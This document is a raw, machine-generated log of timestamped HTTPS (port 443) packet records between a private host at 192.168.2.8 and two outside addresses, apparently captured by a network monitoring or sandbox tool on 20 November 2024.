Nov 20, 2024 03:22:02.089983940 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.090084076 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.090167999 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.090264082 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.090287924 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.106467962 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.106663942 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.106733084 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.106782913 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.106782913 CET	49990	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.106797934 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.106807947 CET	443	49990	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.108448982 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.108465910 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.108526945 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.108618021 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.108630896 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.125866890 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.125921011 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.126032114 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.126173973 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.126185894 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.126193047 CET	49988	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.126195908 CET	443	49988	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.128030062 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.128074884 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.128133059 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.128297091 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.128309965 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.132421970 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.132452965 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.132601023 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.132622004 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.132647038 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.132705927 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.132766008 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.132766008 CET	49991	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.132787943 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.132808924 CET	443	49991	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.134360075 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.134377003 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.134448051 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.134568930 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.134582043 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.646909952 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.647439003 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.647480965 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.647902966 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.647917032 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.729064941 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.729532003 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.729599953 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.729877949 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.729892969 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.746151924 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.746407986 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.746464014 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.746541977 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.746613026 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.746653080 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.746680021 CET	49994	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.746695042 CET	443	49994	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.749300957 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.749344110 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.749458075 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.749550104 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.749562979 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.755088091 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.755409002 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.755426884 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.755753994 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.755764961 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.764076948 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.764333010 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.764352083 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.764756918 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.764763117 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.765316963 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.765552044 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.765573025 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:02.765892029 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:02.765902996 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.001773119 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.001815081 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.001853943 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.001883030 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.001921892 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.001931906 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.001972914 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.001995087 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.002008915 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.002053022 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.002052069 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.002067089 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.002084970 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.002127886 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.002173901 CET	49996	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.002197027 CET	443	49996	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.002235889 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.003123999 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.003132105 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.003175020 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.003207922 CET	49995	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.003223896 CET	443	49995	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.003441095 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.003459930 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.003492117 CET	49998	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.003503084 CET	443	49998	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.003596067 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.003624916 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.003635883 CET	49997	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.003643036 CET	443	49997	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.005764008 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.005815029 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.005830050 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.005919933 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.005932093 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.006052017 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.006083965 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.006105900 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.006376982 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.006403923 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.006464958 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.006491899 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.006500006 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.006695986 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.006721973 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.007124901 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.007148981 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.007354975 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.007466078 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.007494926 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.395133972 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.395572901 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.395586014 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.395981073 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.395987988 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.496334076 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.496592999 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.496624947 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.496643066 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.496684074 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.496720076 CET	49999	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.496732950 CET	443	49999	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.499277115 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.499301910 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.499434948 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.499522924 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.499531031 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.641447067 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.642441034 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.642508030 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.642751932 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.642766953 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.656754017 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.657249928 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.657279015 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.657675028 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.657681942 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.680145025 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.680464029 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.680536985 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.680789948 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.680804014 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.684108973 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.684402943 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.684412003 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.684742928 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.684747934 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.697051048 CET	50005	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:22:03.697087049 CET	443	50005	142.250.186.68	192.168.2.8
Nov 20, 2024 03:22:03.697155952 CET	50005	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:22:03.697367907 CET	50005	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:22:03.697391987 CET	443	50005	142.250.186.68	192.168.2.8
Nov 20, 2024 03:22:03.762594938 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.762628078 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.762676954 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.762701035 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.762778044 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.762878895 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.762878895 CET	50002	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.762926102 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.762939930 CET	443	50002	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.765276909 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.765309095 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.765383959 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.765526056 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.765538931 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.776684999 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.777103901 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.777173996 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.777204990 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.777220011 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.777231932 CET	50003	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.777237892 CET	443	50003	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.779134989 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.779223919 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.779330969 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.779433966 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.779458046 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.786585093 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.786711931 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.786756039 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.786767960 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.786799908 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.786849022 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.786870003 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.786883116 CET	50000	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.786890030 CET	443	50000	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.788819075 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.788846016 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.788922071 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.789046049 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.789058924 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.791079044 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.791199923 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.791260958 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.791280985 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.791286945 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.791299105 CET	50001	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.791302919 CET	443	50001	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.793102026 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.793123960 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:03.793193102 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.793297052 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:03.793308973 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.068918943 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.069407940 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.069433928 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.069842100 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.069847107 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.340086937 CET	443	50005	142.250.186.68	192.168.2.8
Nov 20, 2024 03:22:04.340423107 CET	50005	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:22:04.340456963 CET	443	50005	142.250.186.68	192.168.2.8
Nov 20, 2024 03:22:04.341669083 CET	443	50005	142.250.186.68	192.168.2.8
Nov 20, 2024 03:22:04.341944933 CET	50005	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:22:04.342109919 CET	443	50005	142.250.186.68	192.168.2.8
Nov 20, 2024 03:22:04.392508984 CET	50005	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:22:04.408215046 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.408760071 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.408781052 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.409176111 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.409183025 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.428406954 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.428808928 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.428822041 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.429311991 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.429317951 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.430584908 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.430823088 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.430897951 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.431096077 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.431111097 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.434483051 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.434700966 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.434715986 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.434966087 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.434969902 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.477519035 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.477682114 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.477775097 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.477808952 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.477828979 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.477843046 CET	50004	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.477849007 CET	443	50004	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.480474949 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.480508089 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.480639935 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.480751991 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.480762005 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.528599024 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.528656960 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.528840065 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.528879881 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.528891087 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.528898954 CET	50008	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.528903008 CET	443	50008	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.531161070 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.531187057 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.531266928 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.531388044 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.531400919 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.534080982 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.534291983 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.534354925 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.534374952 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.534382105 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.534392118 CET	50009	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.534395933 CET	443	50009	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.536140919 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.536221027 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.536308050 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.536401033 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.536432981 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.539585114 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.539974928 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.540054083 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.540054083 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.540054083 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.541656017 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.541707039 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.541769981 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.541888952 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.541907072 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.633183956 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.633436918 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.633497000 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.633552074 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.633552074 CET	50006	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.633570910 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.633579969 CET	443	50006	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.635585070 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.635694027 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.635786057 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.635905027 CET	50014	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.635926962 CET	443	50014	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:04.845643997 CET	50007	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:04.845716953 CET	443	50007	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.119617939 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.120225906 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.120239973 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.120573044 CET	50010	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.120578051 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.164091110 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.164750099 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.164779902 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.165189981 CET	50011	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.165194988 CET	443	50011	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.171624899 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.171999931 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.172071934 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.172302008 CET	50012	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.172316074 CET	443	50012	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.204858065 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.205600977 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.205662966 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.206137896 CET	50013	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:05.206154108 CET	443	50013	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.219187975 CET	443	50010	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:05.219232082 CET	443	50010	13.107.246.45	192.168.2.8
